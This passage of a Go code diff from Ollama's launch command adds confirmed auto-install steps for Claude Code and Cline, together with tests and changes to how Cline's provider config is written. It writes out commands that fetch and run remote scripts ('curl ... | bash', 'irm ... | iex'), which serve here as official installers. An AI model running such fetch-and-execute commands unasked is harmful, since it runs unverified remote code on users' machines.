+			return fmt.Errorf("claude is not installed and required dependencies are missing\n\nInstall the following first:\n  PowerShell: https://learn.microsoft.com/powershell/\n\nThen re-run:\n  ollama launch claude")
+		}
+	default:
+		var missing []string
+		if _, err := exec.LookPath("curl"); err != nil {
+			missing = append(missing, "curl: https://curl.se/")
+		}
+		if _, err := exec.LookPath("bash"); err != nil {
+			missing = append(missing, "bash: https://www.gnu.org/software/bash/")
+		}
+		if len(missing) > 0 {
+			return fmt.Errorf("claude is not installed and required dependencies are missing\n\nInstall the following first:\n  %s\n\nThen re-run:\n  ollama launch claude", strings.Join(missing, "\n  "))
+		}
+	}
+	return nil
+}
+
+func claudeInstallerCommand(goos string) (string, []string, error) {
+	switch goos {
+	case "windows":
+		return "powershell", []string{
+			"-NoProfile",
+			"-ExecutionPolicy",
+			"Bypass",
+			"-Command",
+			"irm https://claude.ai/install.ps1 | iex",
+		}, nil
+	case "darwin", "linux":
+		return "bash", []string{
+			"-c",
+			"curl -fsSL https://claude.ai/install.sh | bash",
+		}, nil
+	default:
+		return "", nil, fmt.Errorf("unsupported platform for claude install: %s", goos)
+	}
 }
 
 // modelEnvVars returns Claude Code env vars that route all model tiers through Ollama.

cmd/launch/claude_desktop.go

@@ -130,7 +130,7 @@ func (c *ClaudeDesktop) SkipModelReadiness() bool {
 	return true
 }
 
-func (c *ClaudeDesktop) Run(_ string, _ []string) error {
+func (c *ClaudeDesktop) Run(_ string, _ []LaunchModel, _ []string) error {
 	return errClaudeDesktopUnsupported()
 }
 

cmd/launch/claude_desktop_test.go

@@ -932,7 +932,7 @@ func TestClaudeDesktopRunReturnsUnsupported(t *testing.T) {
 	)
 
 	for _, args := range [][]string{nil, {"--foo"}} {
-		err := (&ClaudeDesktop{}).Run("qwen3.5", args)
+		err := (&ClaudeDesktop{}).Run("qwen3.5", nil, args)
 		if err == nil {
 			t.Fatal("expected Run to fail")
 		}

cmd/launch/claude_test.go

@@ -1,12 +1,15 @@
 package launch
 
 import (
+	"fmt"
 	"os"
 	"path/filepath"
 	"runtime"
 	"slices"
 	"strings"
 	"testing"
+
+	"github.com/ollama/ollama/envconfig"
 )
 
 func TestClaudeIntegration(t *testing.T) {
@@ -67,6 +70,28 @@ func TestClaudeFindPath(t *testing.T) {
 		}
 	})
 
+	t.Run("falls back to ~/.local/bin/claude", func(t *testing.T) {
+		tmpDir := t.TempDir()
+		setTestHome(t, tmpDir)
+		t.Setenv("PATH", t.TempDir()) // empty dir, no claude binary
+
+		name := "claude"
+		if runtime.GOOS == "windows" {
+			name = "claude.exe"
+		}
+		fallback := filepath.Join(tmpDir, ".local", "bin", name)
+		os.MkdirAll(filepath.Dir(fallback), 0o755)
+		os.WriteFile(fallback, []byte("#!/bin/sh\n"), 0o755)
+
+		got, err := c.findPath()
+		if err != nil {
+			t.Fatalf("unexpected error: %v", err)
+		}
+		if got != fallback {
+			t.Errorf("findPath() = %q, want %q", got, fallback)
+		}
+	})
+
 	t.Run("returns error when neither PATH nor fallback exists", func(t *testing.T) {
 		tmpDir := t.TempDir()
 		setTestHome(t, tmpDir)
@@ -79,6 +104,210 @@ func TestClaudeFindPath(t *testing.T) {
 	})
 }
 
+func TestEnsureClaudeInstalled(t *testing.T) {
+	withConfirm := func(t *testing.T, fn func(prompt string) (bool, error)) {
+		t.Helper()
+		oldConfirm := DefaultConfirmPrompt
+		DefaultConfirmPrompt = func(prompt string, options ConfirmOptions) (bool, error) {
+			return fn(prompt)
+		}
+		t.Cleanup(func() { DefaultConfirmPrompt = oldConfirm })
+	}
+
+	t.Run("already installed", func(t *testing.T) {
+		setTestHome(t, t.TempDir())
+		tmpDir := t.TempDir()
+		t.Setenv("PATH", tmpDir)
+		writeFakeBinary(t, tmpDir, "claude")
+
+		withConfirm(t, func(prompt string) (bool, error) {
+			t.Fatalf("did not expect prompt, got %q", prompt)
+			return false, nil
+		})
+
+		bin, err := ensureClaudeInstalled()
+		if err != nil {
+			t.Fatalf("ensureClaudeInstalled() error = %v", err)
+		}
+		if filepath.Base(bin) != "claude" && filepath.Base(bin) != "claude.cmd" {
+			t.Fatalf("bin = %q, want claude binary", bin)
+		}
+	})
+
+	t.Run("missing dependencies", func(t *testing.T) {
+		setTestHome(t, t.TempDir())
+		t.Setenv("PATH", t.TempDir())
+
+		withConfirm(t, func(prompt string) (bool, error) {
+			t.Fatalf("did not expect prompt, got %q", prompt)
+			return false, nil
+		})
+
+		_, err := ensureClaudeInstalled()
+		if err == nil || !strings.Contains(err.Error(), "required dependencies are missing") {
+			t.Fatalf("expected missing dependency error, got %v", err)
+		}
+	})
+
+	t.Run("missing and user declines install", func(t *testing.T) {
+		setTestHome(t, t.TempDir())
+		tmpDir := t.TempDir()
+		t.Setenv("PATH", tmpDir)
+		writeClaudeInstallerDeps(t, tmpDir)
+
+		withConfirm(t, func(prompt string) (bool, error) {
+			if prompt != "Claude Code is not installed. Install now?" {
+				t.Fatalf("unexpected prompt: %q", prompt)
+			}
+			return false, nil
+		})
+
+		_, err := ensureClaudeInstalled()
+		if err == nil || !strings.Contains(err.Error(), "installation cancelled") {
+			t.Fatalf("expected cancellation error, got %v", err)
+		}
+	})
+
+	t.Run("missing and user confirms install succeeds", func(t *testing.T) {
+		if runtime.GOOS == "windows" {
+			t.Skip("uses POSIX shell fake binaries")
+		}
+
+		homeDir := t.TempDir()
+		setTestHome(t, homeDir)
+		tmpDir := t.TempDir()
+		t.Setenv("PATH", tmpDir)
+
+		writeFakeBinary(t, tmpDir, "curl")
+
+		installLog := filepath.Join(tmpDir, "bash.log")
+		installedClaude := filepath.Join(homeDir, ".local", "bin", "claude")
+		bashScript := fmt.Sprintf(`#!/bin/sh
+echo "$@" >> %q
+if [ "$1" = "-c" ]; then
+  /bin/mkdir -p %q
+  /bin/cat > %q <<'EOS'
+#!/bin/sh
+exit 0
+EOS
+  /bin/chmod +x %q
+fi
+exit 0
+`, installLog, filepath.Dir(installedClaude), installedClaude, installedClaude)
+		if err := os.WriteFile(filepath.Join(tmpDir, "bash"), []byte(bashScript), 0o755); err != nil {
+			t.Fatalf("failed to write fake bash: %v", err)
+		}
+
+		withConfirm(t, func(prompt string) (bool, error) {
+			return true, nil
+		})
+
+		bin, err := ensureClaudeInstalled()
+		if err != nil {
+			t.Fatalf("ensureClaudeInstalled() error = %v", err)
+		}
+		if bin != installedClaude {
+			t.Fatalf("bin = %q, want %q", bin, installedClaude)
+		}
+
+		logData, err := os.ReadFile(installLog)
+		if err != nil {
+			t.Fatalf("failed to read install log: %v", err)
+		}
+		if !strings.Contains(string(logData), "https://claude.ai/install.sh") {
+			t.Fatalf("expected install.sh command in log, got:\n%s", string(logData))
+		}
+	})
+
+	t.Run("install command fails", func(t *testing.T) {
+		if runtime.GOOS == "windows" {
+			t.Skip("uses POSIX shell fake binaries")
+		}
+
+		setTestHome(t, t.TempDir())
+		tmpDir := t.TempDir()
+		t.Setenv("PATH", tmpDir)
+		writeFakeBinary(t, tmpDir, "curl")
+		if err := os.WriteFile(filepath.Join(tmpDir, "bash"), []byte("#!/bin/sh\nexit 1\n"), 0o755); err != nil {
+			t.Fatalf("failed to write fake bash: %v", err)
+		}
+
+		withConfirm(t, func(prompt string) (bool, error) {
+			return true, nil
+		})
+
+		_, err := ensureClaudeInstalled()
+		if err == nil || !strings.Contains(err.Error(), "failed to install claude") {
+			t.Fatalf("expected install failure error, got %v", err)
+		}
+	})
+}
+
+func writeClaudeInstallerDeps(t *testing.T, dir string) {
+	t.Helper()
+	if runtime.GOOS == "windows" {
+		writeFakeBinary(t, dir, "powershell")
+		return
+	}
+	writeFakeBinary(t, dir, "curl")
+	writeFakeBinary(t, dir, "bash")
+}
+
+func TestClaudeInstallerCommand(t *testing.T) {
+	tests := []struct {
+		name    string
+		goos    string
+		wantBin string
+		want    string
+		wantErr string
+	}{
+		{
+			name:    "unix",
+			goos:    "linux",
+			wantBin: "bash",
+			want:    "curl -fsSL https://claude.ai/install.sh | bash",
+		},
+		{
+			name:    "macos",
+			goos:    "darwin",
+			wantBin: "bash",
+			want:    "curl -fsSL https://claude.ai/install.sh | bash",
+		},
+		{
+			name:    "windows",
+			goos:    "windows",
+			wantBin: "powershell",
+			want:    "irm https://claude.ai/install.ps1 | iex",
+		},
+		{
+			name:    "unsupported",
+			goos:    "plan9",
+			wantErr: "unsupported platform",
+		},
+	}
+
+	for _, tt := range tests {
+		t.Run(tt.name, func(t *testing.T) {
+			bin, args, err := claudeInstallerCommand(tt.goos)
+			if tt.wantErr != "" {
+				if err == nil || !strings.Contains(err.Error(), tt.wantErr) {
+					t.Fatalf("expected error containing %q, got %v", tt.wantErr, err)
+				}
+				return
+			}
+			if err != nil {
+				t.Fatalf("claudeInstallerCommand() error = %v", err)
+			}
+			if bin != tt.wantBin {
+				t.Fatalf("bin = %q, want %q", bin, tt.wantBin)
+			}
+			if !slices.Contains(args, tt.want) {
+				t.Fatalf("args = %v, want command containing %q", args, tt.want)
+			}
+		})
+	}
+}
+
 func TestClaudeArgs(t *testing.T) {
 	c := &Claude{}
 
@@ -93,6 +322,7 @@ func TestClaudeArgs(t *testing.T) {
 		{"with model and verbose", "llama3.2", []string{"--verbose"}, []string{"--model", "llama3.2", "--verbose"}},
 		{"empty model with help", "", []string{"--help"}, []string{"--help"}},
 		{"with allowed tools", "llama3.2", []string{"--allowedTools", "Read,Write,Bash"}, []string{"--model", "llama3.2", "--allowedTools", "Read,Write,Bash"}},
+		{"with channels", "llama3.2", []string{"--channels", "plugin:telegram@claude-plugins-official"}, []string{"--model", "llama3.2", "--channels", "plugin:telegram@claude-plugins-official"}},
 	}
 
 	for _, tt := range tests {
@@ -105,6 +335,45 @@ func TestClaudeArgs(t *testing.T) {
 	}
 }
 
+func TestClaudeEnvVars(t *testing.T) {
+	c := &Claude{}
+
+	envMap := func(envs []string) map[string]string {
+		m := make(map[string]string)
+		for _, e := range envs {
+			k, v, _ := strings.Cut(e, "=")
+			m[k] = v
+		}
+		return m
+	}
+
+	got := envMap(c.envVars("llama3.2"))
+	for key, want := range map[string]string{
+		"ANTHROPIC_BASE_URL":                  envconfig.Host().String(),
+		"ANTHROPIC_API_KEY":                   "",
+		"ANTHROPIC_AUTH_TOKEN":                "ollama",
+		"CLAUDE_CODE_ATTRIBUTION_HEADER":      "0",
+		"DISABLE_ERROR_REPORTING":             "1",
+		"DISABLE_FEEDBACK_COMMAND":            "1",
+		"CLAUDE_CODE_DISABLE_FEEDBACK_SURVEY": "1",
+		"ANTHROPIC_DEFAULT_OPUS_MODEL":        "llama3.2",
+		"ANTHROPIC_DEFAULT_SONNET_MODEL":      "llama3.2",
+		"ANTHROPIC_DEFAULT_HAIKU_MODEL":       "llama3.2",
+		"CLAUDE_CODE_SUBAGENT_MODEL":          "llama3.2",
+	} {
+		if got[key] != want {
+			t.Errorf("%s = %q, want %q", key, got[key], want)
+		}
+	}
+
+	// Both variables disable Claude Code feature-flag evaluation, which keeps Channels unavailable.
+	for _, key := range []string{"CLAUDE_CODE_DISABLE_NONESSENTIAL_TRAFFIC", "DISABLE_TELEMETRY"} {
+		if _, ok := got[key]; ok {
+			t.Errorf("%s must not be set by Ollama", key)
+		}
+	}
+}
+
 func TestClaudeModelEnvVars(t *testing.T) {
 	c := &Claude{}
 

cmd/launch/cline.go

@@ -6,41 +6,91 @@ import (
 	"os"
 	"os/exec"
 	"path/filepath"
+	"strings"
+	"time"
 
 	"github.com/ollama/ollama/cmd/internal/fileutil"
 	"github.com/ollama/ollama/envconfig"
 )
 
+const clineLaunchProvider = "ollama"
+
 // Cline implements Runner and Editor for the Cline CLI integration
 type Cline struct{}
 
 func (c *Cline) String() string { return "Cline" }
 
-func (c *Cline) Run(model string, args []string) error {
-	if _, err := exec.LookPath("cline"); err != nil {
-		return fmt.Errorf("cline is not installed, install with: npm install -g cline")
+func (c *Cline) Run(model string, _ []LaunchModel, args []string) error {
+	bin, err := ensureClineInstalled()
+	if err != nil {
+		return err
 	}
 
-	cmd := exec.Command("cline", args...)
+	launchArgs := clineLaunchArgs(model, args)
+	cmd := exec.Command(bin, launchArgs...)
 	cmd.Stdin = os.Stdin
 	cmd.Stdout = os.Stdout
 	cmd.Stderr = os.Stderr
 	return cmd.Run()
 }
 
+func ensureClineInstalled() (string, error) {
+	if _, err := exec.LookPath("cline"); err == nil {
+		return "cline", nil
+	}
+
+	if _, err := exec.LookPath("npm"); err != nil {
+		return "", fmt.Errorf("cline is not installed and required dependencies are missing\n\nInstall the following first:\n  npm (Node.js): https://nodejs.org/\n\nThen re-run:\n  ollama launch cline")
+	}
+
+	ok, err := ConfirmPrompt("Cline is not installed. Install with npm?")
+	if err != nil {
+		return "", err
+	}
+	if !ok {
+		return "", fmt.Errorf("cline installation cancelled")
+	}
+
+	fmt.Fprintf(os.Stderr, "\nInstalling Cline...\n")
+	cmd := exec.Command("npm", "install", "-g", "cline@latest")
+	cmd.Stdin = os.Stdin
+	cmd.Stdout = os.Stdout
+	cmd.Stderr = os.Stderr
+	if err := cmd.Run(); err != nil {
+		return "", fmt.Errorf("failed to install cline: %w", err)
+	}
+
+	if _, err := exec.LookPath("cline"); err != nil {
+		return "", fmt.Errorf("cline was installed but the binary was not found on PATH\n\nYou may need to restart your shell")
+	}
+
+	fmt.Fprintf(os.Stderr, "%sCline installed successfully%s\n\n", ansiGreen, ansiReset)
+	return "cline", nil
+}
+
+func clineLaunchArgs(model string, extra []string) []string {
+	return extra
+}
+
 func (c *Cline) Paths() []string {
 	home, err := os.UserHomeDir()
 	if err != nil {
 		return nil
 	}
-	p := filepath.Join(home, ".cline", "data", "globalState.json")
-	if _, err := os.Stat(p); err == nil {
-		return []string{p}
+
+	var paths []string
+	for _, p := range []string{
+		clineProvidersPath(home),
+		clineLegacyGlobalStatePath(home),
+	} {
+		if _, err := os.Stat(p); err == nil {
+			paths = append(paths, p)
+		}
 	}
-	return nil
+	return paths
 }
 
-func (c *Cline) Edit(models []string) error {
+func (c *Cline) Edit(models []LaunchModel) error {
 	if len(models) == 0 {
 		return nil
 	}
@@ -50,26 +100,113 @@ func (c *Cline) Edit(models []string) error {
 		return err
 	}
 
-	configPath := filepath.Join(home, ".cline", "data", "globalState.json")
+	providersPath := clineProvidersPath(home)
+	legacyPath := clineLegacyGlobalStatePath(home)
+
+	providersConfig, err := readClineConfig(providersPath)
+	if err != nil {
+		return err
+	}
+	legacyConfig, err := readClineConfig(legacyPath)
+	if err != nil {
+		return err
+	}
+
+	if err := writeClineProvidersConfig(providersPath, providersConfig, models[0].Name); err != nil {
+		return err
+	}
+	return writeClineLegacyGlobalState(legacyPath, legacyConfig, models[0].Name)
+}
+
+func clineProvidersPath(home string) string {
+	return filepath.Join(home, ".cline", "data", "settings", "providers.json")
+}
+
+func clineLegacyGlobalStatePath(home string) string {
+	return filepath.Join(home, ".cline", "data", "globalState.json")
+}
+
+func clineOllamaRootURL() string {
+	return strings.TrimRight(envconfig.ConnectableHost().String(), "/")
+}
+
+func clineProviderBaseURL() string {
+	return clineOllamaRootURL() + "/v1"
+}
+
+func readClineConfig(configPath string) (map[string]any, error) {
+	config := make(map[string]any)
+	if data, err := os.ReadFile(configPath); err == nil {
+		if err := json.Unmarshal(data, &config); err != nil {
+			return nil, fmt.Errorf("failed to parse config: %w, at: %s", err, configPath)
+		}
+	} else if !os.IsNotExist(err) {
+		return nil, err
+	}
+	return config, nil
+}
+
+func writeClineProvidersConfig(configPath string, config map[string]any, model string) error {
 	if err := os.MkdirAll(filepath.Dir(configPath), 0o755); err != nil {
 		return err
 	}
 
-	config := make(map[string]any)
-	if data, err := os.ReadFile(configPath); err == nil {
-		if err := json.Unmarshal(data, &config); err != nil {
-			return fmt.Errorf("failed to parse config: %w, at: %s", err, configPath)
-		}
+	providers, _ := config["providers"].(map[string]any)
+	if providers == nil {
+		providers = make(map[string]any)
 	}
 
-	// Set Ollama as the provider for both act and plan modes
-	baseURL := envconfig.Host().String()
+	provider, _ := providers[clineLaunchProvider].(map[string]any)
+	if provider == nil {
+		provider = make(map[string]any)
+	}
+	settings, _ := provider["settings"].(map[string]any)
+	if settings == nil {
+		settings = make(map[string]any)
+	}
+
+	baseURL := clineProviderBaseURL()
+	previousModel, _ := settings["model"].(string)
+	previousBaseURL, _ := settings["baseUrl"].(string)
+	previousTokenSource, _ := provider["tokenSource"].(string)
+
+	settings["provider"] = clineLaunchProvider
+	settings["model"] = model
+	settings["baseUrl"] = baseURL
+	delete(settings, "apiKey")
+	provider["settings"] = settings
+
+	if previousModel != model || previousBaseURL != baseURL || previousTokenSource != "manual" {
+		provider["updatedAt"] = time.Now().UTC().Format(time.RFC3339Nano)
+	} else if _, ok := provider["updatedAt"].(string); !ok {
+		provider["updatedAt"] = time.Now().UTC().Format(time.RFC3339Nano)
+	}
+	provider["tokenSource"] = "manual"
+	providers[clineLaunchProvider] = provider
+
+	config["version"] = float64(1)
+	config["lastUsedProvider"] = clineLaunchProvider
+	config["providers"] = providers
+
+	data, err := json.MarshalIndent(config, "", "  ")
+	if err != nil {
+		return err
+	}
+	return fileutil.WriteWithBackup(configPath, data, "cline")
+}
+
+func writeClineLegacyGlobalState(configPath string, config map[string]any, model string) error {
+	if err := os.MkdirAll(filepath.Dir(configPath), 0o755); err != nil {
+		return err
+	}
+
+	baseURL := clineOllamaRootURL()
 	config["ollamaBaseUrl"] = baseURL
-	config["actModeApiProvider"] = "ollama"
-	config["actModeOllamaModelId"] = models[0]
+	config["actModeApiProvider"] = clineLaunchProvider
+	config["actModeOllamaModelId"] = model
 	config["actModeOllamaBaseUrl"] = baseURL
-	config["planModeApiProvider"] = "ollama"
-	config["planModeOllamaModelId"] = models[0]
+	config["planModeApiProvider"] = clineLaunchProvider
+	config["planModeOllamaModelId"] = model
 	config["planModeOllamaBaseUrl"] = baseURL
 
 	config["welcomeViewCompleted"] = true
@@ -87,12 +224,18 @@ func (c *Cline) Models() []string {
 		return nil
 	}
 
-	config, err := fileutil.ReadJSON(filepath.Join(home, ".cline", "data", "globalState.json"))
+	if model := clineProviderModel(home); model != "" {
+		return []string{model}
+	}
+
+	config, err := fileutil.ReadJSON(clineLegacyGlobalStatePath(home))
 	if err != nil {
 		return nil
 	}
 
-	if config["actModeApiProvider"] != "ollama" {
+	switch config["actModeApiProvider"] {
+	case "ollama":
+	default:
 		return nil
 	}
 
@@ -102,3 +245,18 @@ func (c *Cline) Models() []string {
 	}
 	return []string{modelID}
 }
+
+func clineProviderModel(home string) string {
+	config, err := fileutil.ReadJSON(clineProvidersPath(home))
+	if err != nil {
+		return ""
+	}
+	if config["lastUsedProvider"] != clineLaunchProvider {
+		return ""
+	}
+	providers, _ := config["providers"].(map[string]any)
+	provider, _ := providers[clineLaunchProvider].(map[string]any)
+	settings, _ := provider["settings"].(map[string]any)
+	model, _ := settings["model"].(string)
+	return model
+}

cmd/launch/cline_test.go

@@ -2,8 +2,11 @@ package launch
 
 import (
 	"encoding/json"
+	"fmt"
 	"os"
 	"path/filepath"
+	"runtime"
+	"strings"
 	"testing"
 )
 
@@ -25,6 +28,55 @@ func TestClineIntegration(t *testing.T) {
 	})
 }
 
+func TestEnsureClineInstalled(t *testing.T) {
+	if runtime.GOOS == "windows" {
+		t.Skip("uses a POSIX shell test binary")
+	}
+
+	tmpDir := t.TempDir()
+	setTestHome(t, tmpDir)
+	t.Setenv("PATH", tmpDir)
+
+	clinePath := filepath.Join(tmpDir, "cline")
+	npmScript := fmt.Sprintf(`#!/bin/sh
+printf '%%s\n' "$*" > "$HOME/npm-calls.log"
+/bin/cat > %q <<'EOF'
+#!/bin/sh
+exit 0
+EOF
+/bin/chmod +x %q
+exit 0
+`, clinePath, clinePath)
+	if err := os.WriteFile(filepath.Join(tmpDir, "npm"), []byte(npmScript), 0o755); err != nil {
+		t.Fatal(err)
+	}
+
+	oldConfirmPrompt := DefaultConfirmPrompt
+	DefaultConfirmPrompt = func(prompt string, options ConfirmOptions) (bool, error) {
+		if prompt != "Cline is not installed. Install with npm?" {
+			t.Fatalf("unexpected prompt: %q", prompt)
+		}
+		return true, nil
+	}
+	defer func() { DefaultConfirmPrompt = oldConfirmPrompt }()
+
+	bin, err := ensureClineInstalled()
+	if err != nil {
+		t.Fatalf("ensureClineInstalled() error = %v", err)
+	}
+	if bin != "cline" {
+		t.Fatalf("ensureClineInstalled() bin = %q, want %q", bin, "cline")
+	}
+
+	data, err := os.ReadFile(filepath.Join(tmpDir, "npm-calls.log"))
+	if err != nil {
+		t.Fatal(err)
+	}
+	if got := strings.TrimSpace(string(data)); got != "install -g cline@latest" {
+		t.Fatalf("npm args = %q, want %q", got, "install -g cline@latest")
+	}
+}
+
 func TestClineEdit(t *testing.T) {
 	c := &Cline{}
 	tmpDir := t.TempDir()
@@ -32,6 +84,7 @@ func TestClineEdit(t *testing.T) {
 
 	configDir := filepath.Join(tmpDir, ".cline", "data")
 	configPath := filepath.Join(configDir, "globalState.json")
+	providersPath := filepath.Join(tmpDir, ".cline", "data", "settings", "providers.json")
 
 	readConfig := func() map[string]any {
 		data, _ := os.ReadFile(configPath)
@@ -40,34 +93,71 @@ func TestClineEdit(t *testing.T) {
 		return config
 	}
 
+	readProvidersConfig := func() map[string]any {
+		data, _ := os.ReadFile(providersPath)
+		var config map[string]any
+		json.Unmarshal(data, &config)
+		return config
+	}
+
 	t.Run("creates config from scratch", func(t *testing.T) {
 		os.RemoveAll(filepath.Join(tmpDir, ".cline"))
 
-		if err := c.Edit([]string{"kimi-k2.5:cloud"}); err != nil {
+		if err := c.Edit(testLaunchModels("kimi-k2.5:cloud")); err != nil {
 			t.Fatal(err)
 		}
 
 		config := readConfig()
-		if config["actModeApiProvider"] != "ollama" {
-			t.Errorf("actModeApiProvider = %v, want ollama", config["actModeApiProvider"])
+		if config["actModeApiProvider"] != clineLaunchProvider {
+			t.Errorf("actModeApiProvider = %v, want %s", config["actModeApiProvider"], clineLaunchProvider)
 		}
 		if config["actModeOllamaModelId"] != "kimi-k2.5:cloud" {
 			t.Errorf("actModeOllamaModelId = %v, want kimi-k2.5:cloud", config["actModeOllamaModelId"])
 		}
-		if config["planModeApiProvider"] != "ollama" {
-			t.Errorf("planModeApiProvider = %v, want ollama", config["planModeApiProvider"])
+		if config["actModeOllamaBaseUrl"] != "http://127.0.0.1:11434" {
+			t.Errorf("actModeOllamaBaseUrl = %v, want http://127.0.0.1:11434", config["actModeOllamaBaseUrl"])
+		}
+		if config["planModeApiProvider"] != clineLaunchProvider {
+			t.Errorf("planModeApiProvider = %v, want %s", config["planModeApiProvider"], clineLaunchProvider)
 		}
 		if config["planModeOllamaModelId"] != "kimi-k2.5:cloud" {
 			t.Errorf("planModeOllamaModelId = %v, want kimi-k2.5:cloud", config["planModeOllamaModelId"])
 		}
+		if config["planModeOllamaBaseUrl"] != "http://127.0.0.1:11434" {
+			t.Errorf("planModeOllamaBaseUrl = %v, want http://127.0.0.1:11434", config["planModeOllamaBaseUrl"])
+		}
+		if config["ollamaBaseUrl"] != "http://127.0.0.1:11434" {
+			t.Errorf("ollamaBaseUrl = %v, want http://127.0.0.1:11434", config["ollamaBaseUrl"])
+		}
 		if config["welcomeViewCompleted"] != true {
 			t.Errorf("welcomeViewCompleted = %v, want true", config["welcomeViewCompleted"])
 		}
+
+		providersConfig := readProvidersConfig()
+		if providersConfig["lastUsedProvider"] != clineLaunchProvider {
+			t.Errorf("lastUsedProvider = %v, want %s", providersConfig["lastUsedProvider"], clineLaunchProvider)
+		}
+		providers, _ := providersConfig["providers"].(map[string]any)
+		provider, _ := providers[clineLaunchProvider].(map[string]any)
+		if provider["updatedAt"] == "" {
+			t.Errorf("updatedAt = %v, want timestamp", provider["updatedAt"])
+		}
+		settings, _ := provider["settings"].(map[string]any)
+		if settings["model"] != "kimi-k2.5:cloud" {
+			t.Errorf("settings.model = %v, want kimi-k2.5:cloud", settings["model"])
+		}
+		if _, ok := settings["apiKey"]; ok {
+			t.Errorf("settings.apiKey = %v, want omitted for local Ollama", settings["apiKey"])
+		}
+		if settings["baseUrl"] != "http://127.0.0.1:11434/v1" {
+			t.Errorf("settings.baseUrl = %v, want http://127.0.0.1:11434/v1", settings["baseUrl"])
+		}
 	})
 
 	t.Run("preserves existing fields", func(t *testing.T) {
 		os.RemoveAll(filepath.Join(tmpDir, ".cline"))
 		os.MkdirAll(configDir, 0o755)
+		os.MkdirAll(filepath.Dir(providersPath), 0o755)
 
 		existing := map[string]any{
 			"remoteRulesToggles":    map[string]any{},
@@ -77,7 +167,22 @@ func TestClineEdit(t *testing.T) {
 		data, _ := json.Marshal(existing)
 		os.WriteFile(configPath, data, 0o644)
 
-		if err := c.Edit([]string{"glm-5:cloud"}); err != nil {
+		existingProviders := map[string]any{
+			"customRoot": "keep-me-too",
+			"providers": map[string]any{
+				clineLaunchProvider: map[string]any{
+					"updatedAt": "2026-05-29T16:56:46.111Z",
+					"settings": map[string]any{
+						"apiKey":  "bad-migrated-key",
+						"timeout": float64(30000),
+					},
+				},
+			},
+		}
+		data, _ = json.Marshal(existingProviders)
+		os.WriteFile(providersPath, data, 0o644)
+
+		if err := c.Edit(testLaunchModels("glm-5:cloud")); err != nil {
 			t.Fatal(err)
 		}
 
@@ -88,15 +193,84 @@ func TestClineEdit(t *testing.T) {
 		if config["actModeOllamaModelId"] != "glm-5:cloud" {
 			t.Errorf("actModeOllamaModelId = %v, want glm-5:cloud", config["actModeOllamaModelId"])
 		}
+
+		providersConfig := readProvidersConfig()
+		if providersConfig["customRoot"] != "keep-me-too" {
+			t.Errorf("customRoot was not preserved")
+		}
+		providers, _ := providersConfig["providers"].(map[string]any)
+		provider, _ := providers[clineLaunchProvider].(map[string]any)
+		if provider["updatedAt"] == "2026-05-29T16:56:46.111Z" {
+			t.Errorf("updatedAt = %v, want refreshed timestamp after provider change", provider["updatedAt"])
+		}
+		settings, _ := provider["settings"].(map[string]any)
+		if settings["timeout"] != float64(30000) {
+			t.Errorf("settings.timeout = %v, want 30000", settings["timeout"])
+		}
+		if _, ok := settings["apiKey"]; ok {
+			t.Errorf("settings.apiKey = %v, want omitted for local Ollama", settings["apiKey"])
+		}
+		if settings["model"] != "glm-5:cloud" {
+			t.Errorf("settings.model = %v, want glm-5:cloud", settings["model"])
+		}
+		if settings["baseUrl"] != "http://127.0.0.1:11434/v1" {
+			t.Errorf("settings.baseUrl = %v, want http://127.0.0.1:11434/v1", settings["baseUrl"])
+		}
+	})
+
+	t.Run("validates both configs before writing providers config", func(t *testing.T) {
+		os.RemoveAll(filepath.Join(tmpDir, ".cline"))
+		os.MkdirAll(configDir, 0o755)
+		os.WriteFile(configPath, []byte("{not json"), 0o644)
+
+		err := c.Edit(testLaunchModels("kimi-k2.5:cloud"))
+		if err == nil {
+			t.Fatal("expected invalid legacy config error")
+		}
+		if _, statErr := os.Stat(providersPath); !os.IsNotExist(statErr) {
+			t.Fatalf("providers config should not be written when legacy config is invalid, stat err = %v", statErr)
+		}
+	})
+
+	t.Run("preserves updatedAt when provider settings are unchanged", func(t *testing.T) {
+		os.RemoveAll(filepath.Join(tmpDir, ".cline"))
+		os.MkdirAll(filepath.Dir(providersPath), 0o755)
+
+		existingProviders := map[string]any{
+			"providers": map[string]any{
+				clineLaunchProvider: map[string]any{
+					"updatedAt":   "2026-05-29T16:56:46.111Z",
+					"tokenSource": "manual",
+					"settings": map[string]any{
+						"provider": clineLaunchProvider,
+						"model":    "kimi-k2.5:cloud",
+						"baseUrl":  "http://127.0.0.1:11434/v1",
+					},
+				},
+			},
+		}
+		data, _ := json.Marshal(existingProviders)
+		os.WriteFile(providersPath, data, 0o644)
+
+		if err := c.Edit(testLaunchModels("kimi-k2.5:cloud")); err != nil {
+			t.Fatal(err)
+		}
+
+		providersConfig := readProvidersConfig()
+		providers, _ := providersConfig["providers"].(map[string]any)
+		provider, _ := providers[clineLaunchProvider].(map[string]any)
+		if provider["updatedAt"] != "2026-05-29T16:56:46.111Z" {
+			t.Errorf("updatedAt = %v, want preserved timestamp", provider["updatedAt"])
+		}
 	})
 
 	t.Run("updates model on re-edit", func(t *testing.T) {
 		os.RemoveAll(filepath.Join(tmpDir, ".cline"))
 
-		if err := c.Edit([]string{"kimi-k2.5:cloud"}); err != nil {
+		if err := c.Edit(testLaunchModels("kimi-k2.5:cloud")); err != nil {
 			t.Fatal(err)
 		}
-		if err := c.Edit([]string{"glm-5:cloud"}); err != nil {
+		if err := c.Edit(testLaunchModels("glm-5:cloud")); err != nil {
 			t.Fatal(err)
 		}
 
@@ -124,7 +298,7 @@ func TestClineEdit(t *testing.T) {
 	t.Run("uses first model as primary", func(t *testing.T) {
 		os.RemoveAll(filepath.Join(tmpDir, ".cline"))
 
-		if err := c.Edit([]string{"kimi-k2.5:cloud", "glm-5:cloud"}); err != nil {
+		if err := c.Edit(testLaunchModels("kimi-k2.5:cloud", "glm-5:cloud")); err != nil {
 			t.Fatal(err)
 		}
 
@@ -142,6 +316,7 @@ func TestClineModels(t *testing.T) {
 
 	configDir := filepath.Join(tmpDir, ".cline", "data")
 	configPath := filepath.Join(configDir, "globalState.json")
+	providersPath := filepath.Join(tmpDir, ".cline", "data", "settings", "providers.json")
 
 	t.Run("returns nil when no config", func(t *testing.T) {
 		if models := c.Models(); models != nil {
@@ -177,6 +352,55 @@ func TestClineModels(t *testing.T) {
 			t.Errorf("Models() = %v, want [kimi-k2.5:cloud]", models)
 		}
 	})
+
+	t.Run("prefers CLI provider config", func(t *testing.T) {
+		os.MkdirAll(filepath.Dir(providersPath), 0o755)
+		config := map[string]any{
+			"lastUsedProvider": clineLaunchProvider,
+			"providers": map[string]any{
+				clineLaunchProvider: map[string]any{
+					"settings": map[string]any{
+						"model": "glm-5:cloud",
+					},
+				},
+			},
+		}
